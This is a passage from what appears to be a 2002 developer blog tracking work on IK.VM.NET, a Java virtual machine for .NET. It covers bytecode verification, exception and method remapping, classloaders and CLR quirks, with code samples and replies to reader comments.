Shutting down Phoenix.

(I editted the stack trace a little so that it doesn't mess up the formatting of the page too much).

I have no idea what this means and I don't feel like debugging this. May be I'll revisit James in a while when I've implemented more stuff and have better debugging support.

 

10/17/2002 5:44:55 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [5]

Monday, October 14, 2002

Back again...

Friday I tried to get James (a mail server) to run under IKVM. First thing I ran into was the lack of support for extensions. That turned out to be easy to add. The next problem wasn't so easy to get around. I started getting TypeLoadExceptions. The only way this can happen is if there is a bug in IKVM or in the .NET runtime, because if a Java class cannot be found IKVM should throw a ClassNotFoundException or a NoClassDefError.

After much debugging I managed to isolate the problem as a bug the .NET runtime. Here is a small C# reproduction.

The problem was triggered by the new extension class loader, which creates a second dynamic assembly to emit the dynamically generated .NET types in. It turns out that references from one dynamic assembly to another dynamic assembly sometimes do not result in an AppDomain.TypeResolve event. The trigger for this is that the type being referenced was first defined inside another TypeResolve event.

10/14/2002 10:48:52 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Friday, September 27, 2002

More small changes:

  • Many more class file validation checks added
  • Cleaned up the starter executable ikvm and added support to run jars.
  • Fixed some bugs in NetExp
  • Fixed some bugs in stack trace handling
  • Added support for classes that implement interfaces without actually implementing the interface methods

Updated the binaries and source snaphots.

9/27/2002 5:57:38 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, September 23, 2002

Many small changes, mostly to deal with incorrect class files and a few bug fixes:

  • Java threads now inherit their name from the .NET thread (for threads that aren't created in Java) and threads that are created in Java, set the name of the .NET thread to their Java name
  • JNI methods that do not exist now throw UnsatifiedLinkError
  • Added more checks to class file reader
  • Added the JavaException helper class to centralize all the dynamic exception creation (for things like NoClassDefFoundError, VerifyError, IncompatibleClassChangeError, etc.)
  • Improved stack trace handling for inner exceptions
  • Enforced access checks for base classes and interfaces
  • Added checks to enforce that base class is not an interface and checks to ensure implemented interfaces are in fact interfaces
  • Added check to prevent subclassing final classes
  • Fixed doubleToLongBits to return normalized NaN and implemented doubleToRawLongBits
  • Added support for calling interface methods on object references (required because it sometimes isn't possible to merge interface types, so the merged type will be Object), also added support for calling Object methods through invokeinterface.
  • Ported Java DoubleToString class (written by Jack Shirazi) that (hopefully) correctly converts a double to its string representation
  • Added support for abstract methods in non-abstract classes (which the JVM apparently allows)

Updated the binaries and source snaphots.

9/23/2002 12:38:26 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, September 12, 2002

Fun with method overriding

Given the following three classes:

package p1;

public class c1
{
  
public static void main(String[] args)
   {
      c1 o =
new c2();
      o.m1();
      o.m2();

      o = new c3();
      o.m1();
      o.m2();
   }

   public void m1()
   {
     
System.out.println("c1.m1");
   }

   void m2()
   {
     
System.out.println("c1.m2");
   }
}

public class c3 extends c2
{
  
public void m1()
  
{
     
System.out.println("c3.m1");
  
}

   void m2()
  
{
     
System.out.println("c3.m2");
  
}
}


package p2;

public class c2 extends c1
{
  
void m1()
  
{
     
System.out.println("c2.m1");
   }

   private void m2()
  
{
     
System.out.println("c2.m2");
  
}
}

What will be the output when running p1.c1? (note that javac will not compile this code as is, but it is possible to create the resulting class files with javac by temporarily changing the sources and then recompiling the individual classes, but for convenience I've provided the equivalent code in Jasmin source).

The output is (using Sun's JDK 1.4.0 with the -Xfuture switch to enforce accessibility checking):
c2.m1
c1.m2
c2.m1
c3.m2

What does this mean?

  • It's possible to override a public method with a package private method (c1.m1 is overridden by c2.m1)
  • A private method never overrides another method (making c1.m2 public doesn't make any difference)
  • Private methods don't get in the way when finding methods to override (c3.m2 overrides c1.m2, even though c2.m2 is "in the way")

Some other things I found:

  • When invokespecial p1/c1/m2()V is added to c3.m2, it calls the private method c2.m2
  • It isn't possible to override c3.m1 in another package, even though the original method (c1.m1) is public

I implemented support for these behaviours (except the ability to call private methods from outside of the class). It's also interesting to note that none of this is described in the JVM spec.

Fixed various bugs introduced by the classloader support.

Updated the binaries and source snaphots.

9/12/2002 12:05:55 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, September 09, 2002

Major changes. Big step towards multiple classloader support. The starter app now depends on classpath.dll and creates it's own (trivial) custom classloader (derived from URLClassLoader), so it now supports loading classes from zips and jars (courtesy of Classpath's URLClassLoader).

Note that this means that Java code that uses a custom classloader to dynamically generate classes (using ClassLoader.defineClass) should work now.

There is still some work to be done, because all the classloaders still shares a single namespace. Also, exception (and general error) handling isn't quite ready yet, either.

Updated the binaries and source snaphots.

9/9/2002 5:02:51 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, September 05, 2002

Generics

Yesterday, Microsoft Research released a beta version of Gyro, which is their implementation of generics for Rotor.

I downloaded it this morning and played with it, and I must say, it's great! This is going to be the killer feature for .NET (once the commercial platform gets it). Unlike the platform that starts with a J, this is actually done right. The Java generics proposal that was floated for 1.4 and then withdrawn was an ugly (nay, disgusting) hack. Gyro is beautiful, I have no other word for it.

I can't wait for this to appear in the commercial platform!

9/5/2002 6:43:29 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Tuesday, September 03, 2002

I did some work to get my database server app working. I implemented rudimentary socket support and some very lame AWT stuff. My database server now runs (including its lame GUI). Also fixed a few bugs (among others, support for long & double volatiles, thanks to Richard Birkby for pointing this out to me).

Since I built the AWT in C#, linking it against classpath.dll, building is becoming a little more tricky. Hopefully I'll be able to make the build process more straight forward in the future, but for the time being you'll have to suffer ;-)

Updated the binaries and source snaphots.

9/3/2002 7:19:30 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, August 30, 2002

Jamie commented:

I've just tried to run 'vjslib.dll' (the J# Java packages) through netexp. I'm getting a NotImplementedException: System.Boolean on line 355.

I forgot to implement support for literal boolean fields.

I was wondering if this library could be used in place of the 'classpath.dll' one. In particular I was looking to see if the AWT would work.

It's unlikely this will work (without major effort).

Does your classloader look for classes in the 'classpath.dll' library before or after ones on the classpath? Can this behaviour be easily changed?

It looks in classpath.dll before it tries to load from the classpath, but at some point this will change (when I'm going to support multiple classloaders).

8/30/2002 4:36:46 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, August 28, 2002

Added support for delegates to netexp and the VM. This enabled me to rewrite the thread startup in Java, here is a fragment from Thread.start():

ThreadStart starter = new ThreadStart(
  new ThreadStart.Method() {
    public void Invoke() {
      try {
        try {
          Thread.SetData(localSlot, Thread.this);
          setPriorityNative();
          run();
        } catch(Throwable t) {
          if(group != null) {
            group.uncaughtException(Thread.this, t);
          }
        }
      } finally {
        if(group != null) {
          group.removeThread(Thread.this);
        }
      }
  });
nativeThread = new Thread(starter);
nativeThread.Start();

The delegate appears to Java code as regular class with an inner interface named Method. The inner interface has one method named Invoke, with the signature of the delegate, and the delegate class appears to have a constructor taking a reference to the inner interface. What's nice about this scheme is that on the VM side, it is really trivial to support this. The only thing that is done, is whenever a delegate is constructed, two CIL instructions (dup & ldvirtftn) get inserted into the code stream. The Java bytecode:

  new java/lang/Thread$1 
  dup 
  aload_0 
  invokespecial Thread$1/<init>(Ljava/lang/Thread;)V> 
  invokespecial ThreadStart/<init>(LThreadStart$Method;)V>

Is compiled into:

  ldarg.0
  newobj  void Thread$1::.ctor(class java.lang.Thread)
  dup
  ldvirtftn  void ThreadStart$Method::Invoke()
  newobj  void ThreadStart::.ctor(object, native int)

So the delegate is constructed referencing the object implementing the interface.

(disclaimer: code fragments have been editted for readability, some assembly may be required)

Updated the binaries and source snaphots.

8/28/2002 4:57:52 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Sunday, August 25, 2002

Stuart commented:

Seems like building got a little more complicated (I don't seem to pick up your build options from your .sln file, and while before it was just a matter of turning on the unsafe option, it seems I need to do more than that now, like add some references, and I can't figure out which ones). I don't have enough time to do any serious investigation.

That might be because of zlib.dll reference. I moved that into the project directory, so the relative path should be correct now.

I'd love to play with ikvmc and netexp, though - any chance of including them in ikvmbin.zip?

Done.

Updated the binaries and source snaphots.

8/25/2002 11:53:49 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, August 22, 2002

Stuart commented:

You can also optimize the test away (in the other direction) if it's known at compile time that the object *is* a string. Or is that unnecessary since String provides its own GetHashCode implementation that will be invokespecialed already since it's a final class (or whatever the CLR equivalent of final is)?

When you compile the Java code "foo".hashCode() it will be compiled as an invokevirtual java/lang/String/hashCode()I. When IK.VM.NET tries to compile this, it looks up the hashCode() method on String and finds that it should redirect to the static StringHelper.hashCode() method. So that's automatic. It is possible to create bytecode that does an invokevirtual java/lang/Object/hashCode() on a string reference, but Java compilers won't do this, so this is hardly worth optimizing.

8/22/2002 12:49:57 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, August 21, 2002

I changed java.lang.Class from being remapped to System.Type to its Java implementation.

Integrated some additional native code implementations from Stuart Ballard. Thanks Stuart!

Updated the binaries and source snaphots.

8/21/2002 10:22:17 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, August 19, 2002

I changed the XML remapping language to support Object.hashCode() & Object.toString() twiddling (see this previous posting for more info). It is now possible to specify which CIL code sequence should be substituted for a call to a method. Here is how Object.hashCode() looks:

<method type="instance" name="hashCode" sig="()I" access="public">
 
<override name="GetHashCode" />
  
<invokespecial>
   
<call class="System.Object name="GetHashCode" />
 
</invokespecial>
 
<invokevirtual>
   
<dup />
   
<isinst class="System.String" />
   
<brfalse name="skip" />
   
<call class="StringHelper" name="hashCode" />
   
<br name="end" />
   
<label name="skip" />
   
<callvirt class="System.Object name="GetHashCode" />
   
<label name="end" />
 
</invokevirtual>
</method>

Every virtual call (the invokevirtual bytecode) is converted into a test to see if the call is being done on a string, if so it calls StringHelper.hashCode(), if not, it calls System.Object.GetHashCode(). This isn't yet how it should be, because when it is known at compile time that the reference that hashCode() is called on isn't a string, then this test shouldn't be emitted. I still have to figure out a way to support this optimization.

Updated the binaries and source snaphots.

8/19/2002 2:53:35 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Friday, August 16, 2002

I reimplemented java.io.FileDescriptor to directly use System.IO.Stream (compiling against the netexp generated mscorlib.jar). This approach seems workable. As an example of how this turns out, here is the FileDescriptor.sync() code:

 public synchronized void sync() throws SyncFailedException
 {
  if(stream == null)
  {
   throw new SyncFailedException("The handle is invalid");
  }
  try
  {
   if(false) throw new system.io.IOException();
   stream.Flush();
  }
  catch(system.io.IOException x)
  {
   throw new SyncFailedException(x.get_Message());
  }
 }

I decided (for the moment) to not have every .NET method throw Throwable, but used the if(false) throw new ... trick. Works quite well, and it doesn't generate any code. I wonder if it would be legal for the compiler to move the stream.Flush() out of the try block... Not that I think any compiler would do this.

Updated the binaries and source snapshots.

8/16/2002 3:20:30 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, August 15, 2002

Nothing spectacular, many small changes (clean up, refactoring, bug fixes, enhancements).

Updated the binaries and source snapshots.

8/15/2002 6:34:28 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, August 12, 2002

I started on the ahead-of-time-compiler again, with the goal of precompiling the classpath classes. I've created a zip containing all the binaries needed. Just unzip the file, make sure the directory is in the path and run a Java class:
ikvm <class>

It uses the CLASSPATH environment variable (instead of the earlier IKVM_CLASSPATH), and if that is not set, it assumes the current directory. Zips and jars are not yet supported.

The classpath.dll (from the binaries zip) can also be used from (for example) a C# program (don't forget to add a reference to classpath.dll & ik.vm.net.dll):

class JTest
{
public static void Main()
{
java.util.Hashtable h = new java.util.Hashtable();
h.put("foo", "bar");
h.put("fu", "baz");
java.lang.System.@out.println(h);
}
}
Updated the source snapshot.
8/12/2002 4:41:14 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, August 09, 2002

I did some refactoring and various small changes. Field & method accessibilty is now enforced (although there still are some issues).

Updated the snapshot.

8/9/2002 4:11:29 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, August 08, 2002

Stuart commented:

What do you do if you have a Java program that depends on String.hashCode() doing exactly what Java defines it to do (ie, produce consistent output with other VMs) rather than what .NET defines String.GetHashCode() to do? I encountered this in my own code so in theory I can implement (or steal from ClassPath) an implementation of String.hashCode() and use that, but the problem could come up in other scenarios. It's an interesting one, don't you think? :)

I haven't gotten around to implementing it, but the idea is that all virtual calls to Object.toString() are changed to:

  if(o instanceof String) return StringHelper.hashCode(o);
  else return Object.GetHashCode();

One reason I haven't done this yet, is because I think it is totally brain damaged that Sun actually specified the hashcode algorithm for String (and in JLS 1.0 they specified a broken algorithm, which JDK 1.0 didn't implement), another reason is that I haven't figured out how to build this generically (specified in the map.xml file, instead of hardcoded in the VM).

A similar issue also occurs with Object.toString(). Nonvirtual calls to Object.toString() should be redirected to a helper function that returns:

  getClass().getName() + "@" + Integer.toHexString(hashCode())

This isn't really a problem (if you accept the fact that non-Java classes return something different for toString(), which I do), but for arrays it does pose a problem. For arrays to return the proper string when toString() is called on them (virtually through an object reference), all virtual calls to Object.toString() need to be treated like hashCode() above.

btw, how come your example isn't "import System.Reflection"? Does netexp auto-lowercase all namespace names?

At the moment it does. Not because this is the Java convention, but because Java cannot really deal with a namespace System (because of the class java.lang.System).

That seems risky if (as I believe, but don't know for sure) it's possible to have two distinct .NET namespaces with names differing only by case...

This is true, but in practice it seems unlikely you'll ever encounter a problem with this, but the case conversion will definitely be optional in the future.

8/8/2002 10:13:57 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, August 07, 2002

I started work netexp. This is the tool that generates Java stubs for all public types in a .NET assembly, so that Java code can be compiled against .NET code (using any standard Java compiler). The VM understands the stubs and replaces any references to them with the actual .NET types.

It's still in its very early stages, but here is an example that already runs:

import system.*;
import system.reflection.*;
class test
{
  public static void main(String[] args)
  {
    Type type = Type.GetType("System.Object");
    ConstructorInfo ci = type.GetConstructor(
BindingFlags.Public | BindingFlags.Instance,
       null, Type.EmptyTypes, null);
    Console.WriteLine(ci);
  }
}

I updated the snapshot.

8/7/2002 4:11:58 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Tuesday, August 06, 2002

I wrote a jasmin class that "uses" all bytecode instructions, to check if I had implemented all of them. It turns out three were missing:

  • jsr_w  -- jump to subroutine using a 32 bit offset (methods have a maximum size of 64KB, so why we need this, I don't know)
  • goto_w -- jump to instruction using a 32 bit offset (see jsr_w)
  • dup2_x2 -- scramble the contents of the stack ;-)

I implemented all three, although I very much doubt that they'll ever be used.

In the process of doing this, I found and fixed a few bugs in the verifier and compiler. I also changed the compiler to generate a "throw VerifyError("...")" when compiling a method that doesn't verify (instead of throwing the exception at compile time). This matches the JVM behaviour better.

Updated snapshot is here.

8/6/2002 2:09:00 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, August 02, 2002

Stuart commented:

Btw, I'm just trying out your latest snapshot. I'll add further comments as I get further, but so far I had to make a couple of changes to let me build:

VS.NET treated "if (false)" on line 1732 of vm.cs as creating unreachable code. I changed it to "if (false.Equals(true))" so that it didn't treat it as a compiletime constant.

I'm used to using the if(false) construct, because that's the way to not get the compiler to complain in Java. Anyway, I just commented it out now, it's only there for debugging. So it will go away in the near future, I hope.

And the default compilation options disallowed unsafe code, so I had to change that in order for BigEndianBinaryReader.cs to compile.

Aren't you using my VS.NET project? That should include the proper switches for it to build, at least it builds on my machine ;-)

Okay, I've got it to the point of giving me an intelligent error at runtime, at least. Issues so far:

It doesn't (seem to) honor CLASSPATH, at least when run from a command prompt.

That is correct, for the time being it uses the IKVM_CLASSPATH environment variable. BTW, zips and jars are not supported (and won't be for a while, because I want to write the Zip/Jar class loader in Java. That isn't going to happen until after I've got the ahead-of-time compiler working).

Now the showstopper that I haven't been able to figure out how to get past. As far as I can see the download doesn't include *any* of the GNU Classpath libraries, which means that (as far as I can see) it can't run anything at all. I'm guessing that this is just a simple omission from the zip - is that right?

I don't include the classpath stuff to keep the zip small. I did earlier post a link to the compiled classpath classes that I use. I've created a new snapshot (many small changes) and also posted a zip containing the classpath classes plus a few of my own modifications (the source for those is in the classes directory in ikvm.zip).

8/2/2002 10:12:28 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Thursday, August 01, 2002

Stuart commented:

On most aspects, you've convinced me. Just a few little comments:

wrt "throws Exception" vs "throws Throwable" - there's no difference. Any Java method can throw any Throwable subclass that isn't an Exception subclass, just as any Java method can throw any RuntimeException subclass. Thus "throws Exception" really does let you throw anything.

Actually, no. Try to compile the following:

class test extends Throwable
{
public static void main(String[] args) throws Exception
{
throw new test();
}
}

It doesn't compile. One of the inellegancies of Java's checked exceptions model is that there are two classes that removed the checkedness, both Error and RuntimeException.

Btw, are you arranging that (most? any?) .NET exceptions end up as subclasses of j.l.Exception, or just direct Throwable subclasses?

Throwable, the most important reason is that I don't want to mess with the class hierarchy, if at all possible.

I agree also that remapping things like InputStream is probably too hard. If you have a generic class/interface/method remapping system, though, I can imagine actually experimenting with Collection vs IEnumerable and indexers on List.

One of the goals of XML remapping system, is to enable exactly these types of experiments. It probably isn't flexible enough to do everything you'd want to do, but in the end we'll get there.

When you get IK.VM working on Mono I might even have a try at that myself, since it shouldn't need any deep magic in the VM itself.

I think it'll still be a while before Reflection.Emit in Mono is at the level where it is complete enough.

Oh, and I like the idea of custom attributes to do "throws" expressions on glue code. I wonder if we could persuade the Mono people to get mcs to actually honor the "throws" attributes - ie, compile C# code with Java's 'checked exceptions' semantics. That would be pretty cool :)

It would be cool, but I don't really like checked exceptions. After programming in Java (almost exclusively) for about five years, I finally decided that the cons outnumber the pros. The idea is compelling, but in practice there are too many problems, but I don't really want to start that war, as it has been waged many times already ;-)

BTW, I just changed the idiv, ldiv, irem & lrem implementations to explicity check for -1, and for a lame little test I wrote, performance seems to be OK (same as JDK 1.1 and slightly faster than JDK 1.4, HotSpot doesn't like microbenchmarks ;-)).

8/1/2002 5:14:02 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Zoltan commented on the div issue:

I believe the reason the CLR throws an exception in this case is that the div CIL opcode is compiled down to the idiv x86 opcode, which raises a hardware exception in case of overflow. A div opcode which does not throw an exception would be much slower, since it would have to be implemented by a series of x86 opcodes.

You're correct. I mistakenly believed that the x86 idiv instruction didn't throw an exception on overflow, but it does (it doesn't in real-mode, which is what I remembered). Still, it would be trivial in the x86 overflow exception handler to detect that it is handling this case and then resume execution after the idiv instruction with the correct results in the registers. This wouldn't make any performance difference for the common case, only the exceptional case would be a little slower.

Stuart commented:

Horrible hacky proposed solution: implement idiv using the broken div, but add an exception handler to every java method that uses idiv that tests for the pathological case and somehow resumes in the right place.

Two problems with this approach: 1) OverflowException can also be caused by trying to allocate a new array with a negative size, so I would somehow have to detect this. 2) Resuming after the exception is very hard (you cannot jump into a try block in .NET, so I'd have to generate lots of code, which would also make to common case slower).

Or just wrap map java (x/y) to try{x/y} catch(OverflowException e) {x}. How much execution overhead is there for a try-catch in the non-exception case?

This is an interesting suggestion. *writing some C# microbenchmarks* Here is the code I cooked up:

 public static void Main(string[] args)
 {
  int d = args.Length + 1;
  int n = (args.Length - 1) * -1;
  int start = Environment.TickCount;
  for(int i = 0; i < 10000000; i++)
  {
   try
   {
    n = n / d;
   }
   catch(OverflowException)
   {
    n = int.MinValue;
   }
  }
  int end = Environment.TickCount;
  Console.WriteLine(end - start);
  start = Environment.TickCount;
  for(int i = 0; i < 10000000; i++)
  {
   if(d == -1)
   {
    n = n * d;
   }
   else
   {
    n = n / d;
   }
  }
  end = Environment.TickCount;
  Console.WriteLine(end - start);
 }
On my system there is almost no difference between these two methods, so I think I'll go for the explicit test, because of the additional complexity of moving the stack into the try block.
8/1/2002 10:43:40 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

More very useful comments from Stuart:

I'm not sure what I think about your choice to not remap things like IOException, and to handle it in the pseudo-native code.

The principle of "least surprise" applies here. When Java code specifically calls .NET I/O code, it expect System.IO.IOException (because that is what the documentation says), and vice versa.

With regard to "throws Exception" in the generated JAR files, I'm not sure how I feel about it either. On the one hand, yes, it's certainly awkward for the Java programmer. On the other hand, it's exactly what the CLR really *does*, by implication - any method *can* throw any exception.

Here's a problem case: I could define a Java exception, use IK.VM to compile it to CIL, and then write a C# class that throws it and call that C# class from Java - how would you handle that case with your proposed solution? You can either preserve the "real" Java mapping of the compiled Java exception, OR you can make it a subclass of RuntimeException, but you can't do both. But you really do want to be able to preserve the semantics of a custom-compiled Java exception. Assuming "throws Exception" for all C# code seems to be the only way you *can* deal with this case, because you there's no way you can detect it to specialcase it.

You've conviced me, making all .NET methods declare "throws Throwable" (not Exception), is the only viable solution to this. I'm probably going to support a custom attribute to explicitly declare a throws clause in .NET code for newly written code, to make writing glue code a little less painful.

Yet another couple of semantics-impedance-mismatch issues that I just thought of: Do you plan to allow indexers and foreach to work on java.util.List and java.util.Collection, respectively? Will Collection implement(/extend) IEnumerable with Iterator remapping to IEnumerator? How about the converse ( for (Iterator i = new System.ArrayList().iterator(); i.hasNext(); ) {...} )? Or even, more complicatedly, {Input,Output}Stream and Reader/Writer mapping to .NET equivalents?

No, none of these. It's much easier to writer wrapper classes to handle these conversions than to have the VM handle it.

Will JavaBeans-compatible getFoo()/setFoo() methods remap to a property called foo? Or even to a property called Foo? (even the naming conventions are incompatible...)

Java "properties" are too semantically weak to be useful. There are many methods getXxx() where Xxx isn't a read-only property (Component.getGraphics(), for example) so I'm not going to do anything with them.

You'll notice that I'm posing ever more complicated scenarios - sorry! :)

The feedback is very helpful, thanks!

The reason I'm deliberately making your life difficult is that you seem to have all the easy cases well covered already...

I disagree ;-) The hardest part was figuring out how to do the basic object model mapping (like Sam Ruby said, Object, String, and Exception).

and besides, I'm highly interested to see just how deeply integrated into the .NET platform Java can really get without losing it's soul...

Me too. The priorities are the hard part, in many cases there is a trade off between performance and 100% compatibility, but a compatible JVM is a higher priority than interop with other .NET code (which isn't too say that isn't important).

8/1/2002 10:15:03 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, July 31, 2002

What's wrong with this picture?

class DivTest
{
 public static void Main()
 {
  int i = int.MinValue;
  System.Console.WriteLine(-i);
  System.Console.WriteLine(i * -1);
  System.Console.WriteLine(i / -1);
 }
}

Why does div throw an OverflowException when you're trying to divide MinInt by -1? I'm assuming that since dividing by zero throws a DivideByZeroException, the CLR designers thought it would be nice if div would throw an exception for overflow as well.

This sucks!

Partition III CIL.doc section 3.31 about div says:

Exceptions:

Integral operations throw ArithmeticException if the result cannot be represented in the result type. This can happen if value1 is the maximum negative value, and value2 is -1.

Integral operations throw DivideByZeroException if value2 is zero.

Implementation Specific (Microsoft)

On the x86 an OverflowException is thrown when computing (minint div –1).

Why didn't they define a div.ovf (like there are add.ovf, sub.ovf, mul.ovf, etc.) in addition to div (and then make div behave consistently with add, submul)?

Question: What should I do? Implement Java's idiv bytecode using this broken div or compile them into conditional code that checks for MinInt / -1 and treats that specially (and thus slowing down integer division).

BTW, J# uses div but I'm not sure they actually thought about this issue. The following code crashes the J# compiler:

 System.out.println(Integer.MIN_VALUE / - 1);
7/31/2002 4:14:23 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

I only just noticed that Stuart commented on the July 25 item:

The natural "con" that I can think of regarding your alternative implementation is that it would make it very difficult for Java code to catch System.Exception. At least it would require that code that wants to catch *any* exception would have to know that it might be running under IK.VM and explicitly catch System.Exception, where a normal Java program might expect to be able to catch Throwable.

I didn't mention this, but I would still map all usages of java.lang.Throwable to System.Exception (except in the case of the base class, when a class is derived from Throwable, it would be derived from Throwable). Sensible interop between .NET and Java exceptions is definitely something I'm aiming for.

The difficulty, it seems to me, is ensuring that you don't just have a good mapping from Java to C#, but that your mapping is fully *reversible*, and makes just as much sense going the other way. Java code expects to know exactly what exceptions are going to happen for a particular method, so you'll need to be remapping things like IOException already - and you'll need some way to ensure that any exception that's going to be thrown by a method where Java doesn't expect it gets mapped to a RuntimeException (or Error or direct Throwable subclass) with the original exception as the cause.

I'm not actually remapping exceptions like IOException, what happens is that the "native" code that implements an I/O function catches the System.IO.IOException and throws a java.io.IOException.

CLR generated exceptions get converted to the Java equivalent when they are first caught. At the moment I don't convert them back, so when .NET code calls Java code it can expect both System.NullReferenceException and java.lang.NullPointerException to be thrown (for example) depending on whether the Java code "caught" (a finally also triggers the conversion) the exception before it was propagated out the calling .NET code. This isn't very elegant, so I expect that in the future I'll be swapping the original exception back when the Java code rethrows the exception.

I suppose that your generated JAR files (described in your previous entry in response to my comment) will have to declare every method as "throws Exception", right?

To be honest, I hadn't even thought about this. My initial thought would be to make it seem (for the Java compiler) as if every .NET exception is derived from RuntimeException to get around this mess. This might cause additional complications, so I'm going to have to think about this a little more. Adding "throws Exception" doesn't appeal to me either, because that would make it very uncomfortable for the Java programmer trying to call .NET code.

7/31/2002 3:29:13 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, July 29, 2002

I found an interesting paper on jsr/ret verification. It contains the following example of valid Java code that is not verifiable with the verification algorithm described in the JVM spec:

static int m(boolean x) {
  int y;
  try {
    if(x) return 1;
    y = 2;
  } finally {
    if(x) y = 3;
  }
  return y;
}
7/29/2002 6:12:48 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Saturday, July 27, 2002

I finally implemented the local variable usage tracking for subroutines in the verifier. In this instance Microsoft certainly did learn from Sun's mistakes. The JVM verifier is ridiculously complex because of two features:

  • jsr & ret instructions (subroutines within a method)
  • untyped local variables

The CLR lacks both of those features. The reason Sun introduced subroutines is because code in a finally block needs to run both in the normal case and in the exception case, there are two ways you can compile this (Java's bytecode has no concept of finally blocks): code duplication or the subroutine construct. Microsoft solved this by explicitly supporting finally blocks in MSIL, a far more elegant solution. Having typed local variables really doesn't have any downside (except that you have slightly more metadata to carry around).

Updated the snapshot.

7/27/2002 10:51:05 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, July 25, 2002

More java.lang.Throwable

I did some more work on Throwable. In my previous post I forgot to mention that virtual methods in Throwable wheren't overidable yet (because they have no equivalent in System.Exception, I cannot reuse those vtable slots, like I do for System.Object). I implemented a mechanism to support those now. Every direct subclass of Throwable is converted into a .NET subtype of System.Exception and it implements the Throwable$VirtualMethods interface. Each virtual invocation of a virtual method in Throwable is redirected to a static method in the class Throwable$VirtualMethodsHelper that checks if the type implements the Throwable$VirtualMethods interface, if it does, the method is routed there, if it doesn't the method is routed to the C# implementation of the Throwable method in ExceptionHelper.

BTW, the reason that the static helper methods are in a separate class, is because Reflection.Emit (incorrectly) doesn't allow the definition of static methods in interfaces.

The cool part of all this is that all of this virtual method handling is generic and completely based on the remappings defined in map.xml.

I also implemented the 1.4 stack trace handling, so Throwable is now fully functional.

BTW#2, there is also an alternative way I could have handled the virtual methods, by making Throwable a subtype of System.Exception. I haven't figured out the pros and cons of this, so may be I'll do the alternative implementation in a few days to see if that is a more elegant way of doing it.

Updated the snapshot.

7/25/2002 6:16:31 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, July 22, 2002

I did lots of work on exception handling. Most of it now works (fully compatible with J2SE 1.4). Some highlights:

  • java.lang.Throwable is remapped to System.Exception (for maximum compability with .NET code)
  • Throwable.getMessage(), Throwable.getCause() & Throwable.toString() all work, and are fully compatible with J2SE 1.4. Additionally, the message is stored as the System.Exception.Message property, and when the exception object was constructed with a cause, the System.Exception.InnerException property is set.
  • Stack traces now work (fully Java compatible), except for J2SE 1.4 inner exceptions stack trace dumping.
  • I made the XML remapping language more powerful. It now supports calling helper methods and using locals to twiddle around with method arguments.

Things that don't work:

  • When .NET code prints a stacktrace from an exception thrown by Java code, the stacktrace only shows the stack from the last rethrow point in the Java code.
  • Throwable.printStackTrace() doesn't yet support Caused by: in the stack traces.
  • Additional exception information object (that contains the stacktrace and the cause)  is not yet garbage collected when the exception goes away.

Here is the testcase I used.

Updated the snapshot.

7/22/2002 7:32:54 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, July 16, 2002

I cleaned up the Visual Studio .NET solution. For now it consists of the following projects:

  • IK.VM.JNI
    This is the Managed C++ project that implements the JNI interface.
  • IK.VM.NET
    This is the Virtual Machine. It contains the Java classfile parsing, classpath native code, method compiler and various other bits.
  • ikvm
    This is a very simple C# program that starts up the VM and runs the class specified on the command line. The equivalent of java.exe in the JDK.

Other changes:

  • I decided to use a license derived from the zlib license.
  • gjc (Generic Java Compiler formerly known as Pizza) now runs (i.e. it compiles Hello, World)
  • The map.xml file is now an embedded resource

I updated the snapshot.

7/16/2002 4:52:24 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Saturday, July 13, 2002

Stuart commented on the previous item: ...That leaves #2, which seems hard to me. At the very least, it seems like it would require changes to the Java language compiler to interpret (at least metadata from) .NET classes and allow for those to be in the CLASSPATH at compilation time. Is that something you're interested in pursuing as part of IKVM, or do you regard it as a separate problem?

The way I plan to go about this, is to create a tool that generates jar files from .NET assemblies. The jar will contain all the public classes & interfaces from the .NET assembly, and all the methods will appear to be native. Standard Java compilers can then be used to compile against .NET code. The IK.VM will be aware of these special classes (they will contain an attribute to specify the fully qualified .NET type name) and reroute all access to these wrappers to the real .NET types. I haven't built any of this, but I don't expect any problems.

7/13/2002 10:31:48 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, July 10, 2002

I changed the Java to native code transition from my own MC++ marshaling to use the calli instruction. The code is much more elegant now, not to mention much faster. My database app now performs on a par with JDK 1.1. Not bad at all.

Also, I implemented support for interfaces that "override" java.lang.Object methods and I remapped java.lang.Comparable to System.IComparable. Both of these features use the same underlying mechanism, i.e. the ability to provide explicit interface implementations that redirect to virtual methods with a different name.

